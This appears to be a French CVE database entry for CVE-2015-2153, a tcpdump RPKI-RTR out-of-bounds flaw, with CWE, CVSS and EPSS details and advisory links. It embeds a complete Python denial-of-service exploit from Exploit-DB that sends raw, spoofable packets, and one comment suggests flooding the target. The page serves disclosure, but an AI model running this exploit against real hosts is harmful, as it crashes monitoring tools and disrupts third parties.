CVE-2015-2153 : Détail

CVE-2015-2153

Overflow
13.98%V4
Network
2015-03-24
16h00 +00:00
2018-10-09
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The rpki_rtr_pdu_print function in print-rpki-rtr.c in the TCP printer in tcpdump before 4.7.2 allows remote attackers to cause a denial of service (out-of-bounds read or write and crash) via a crafted header length in an RPKI-RTR Protocol Data Unit (PDU).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 37663

Date de publication : 2015-07-19 22h00 +00:00
Auteur : Luke Arntson
EDB Vérifié : No

# Exploit Title: TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service # Date: 7.18.2015 # Exploit Author: Luke Arntson arntsonl@gmail.com # Vendor Homepage: http://www.tcpdump.org/ # Software Link: http://www.tcpdump.org/ # Version: 4.6.2, 4.5.1, 4.4.0 # Tested on: Lubuntu 14.04 64-bit # CVE : CVE-2015-2153 # Note: tcpdump must be running in verbose mode for this Denial-of-Service to trigger. import socket, sys from struct import * def checksum(msg): s = 0 for i in range(0, len(msg), 2): w = ord(msg[i]) + (ord(msg[i+1]) << 8 ) s = s + w s = (s>>16) + (s & 0xffff); s = s + (s >> 16); s = ~s & 0xffff return s if len(sys.argv) != 3: print "Usage: ./CVE-2015-2153.py <source-ip> <destination-ip>" exit() # fake the source and destination source_ip = sys.argv[1] dest_ip = sys.argv[2] try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() packet = '' # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (ip_ver << 4) + ip_ihl ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # tcp header fields tcp_source = 255 # source port tcp_dest = 323 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) # CVE-2015-2153 out-of-bounds occurs here, when we send in a bad message length to the error type. # The RPKI pdu looks like the following # [ pdu version ] [ pdu type ] [ error id ] [ packet length ] [ encapsulated pdu length ] [ message length ] [ message ] # by giving message length a long value, we cause the buffer to write into bad memory error_pdu = '\x41' # fake version error_pdu = error_pdu + '\x0A' # error type error_pdu = error_pdu + '\x00\x01' # error number error_pdu = error_pdu + '\x00\x00\x00\x08' # must be less than or equal to total packet length error_pdu = error_pdu + '\x00\x00\x00\x00' # no encapsulated pdu error_pdu = error_pdu + '\x7F\xFF\xFF\xFF' # overwrite out-of-bounds '\0', causing DoS error_pdu = error_pdu + 'AAAA' # fake message user_data = error_pdu # pseudo header fields source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) + len(user_data) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); psh = psh + tcp_header + user_data; tcp_check = checksum(psh) # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr) # final full packet - syn packets dont have any data packet = ip_header + tcp_header + user_data #Send the packet finally - the port specified has no effect s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target

Products Mentioned

Configuraton 0

Tcpdump>>Tcpdump >> Version To (including) 4.7.0

Références

http://www.mandriva.com/security/advisories?name=MDVSA-2015:125
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/73018
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2017:1871
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1031937
Tags : vdb-entry, x_refsource_SECTRACK
https://security.gentoo.org/glsa/201510-04
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/37663/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ubuntu.com/usn/USN-2580-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.mandriva.com/security/advisories?name=MDVSA-2015:182
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.debian.org/security/2015/dsa-3193
Tags : vendor-advisory, x_refsource_DEBIAN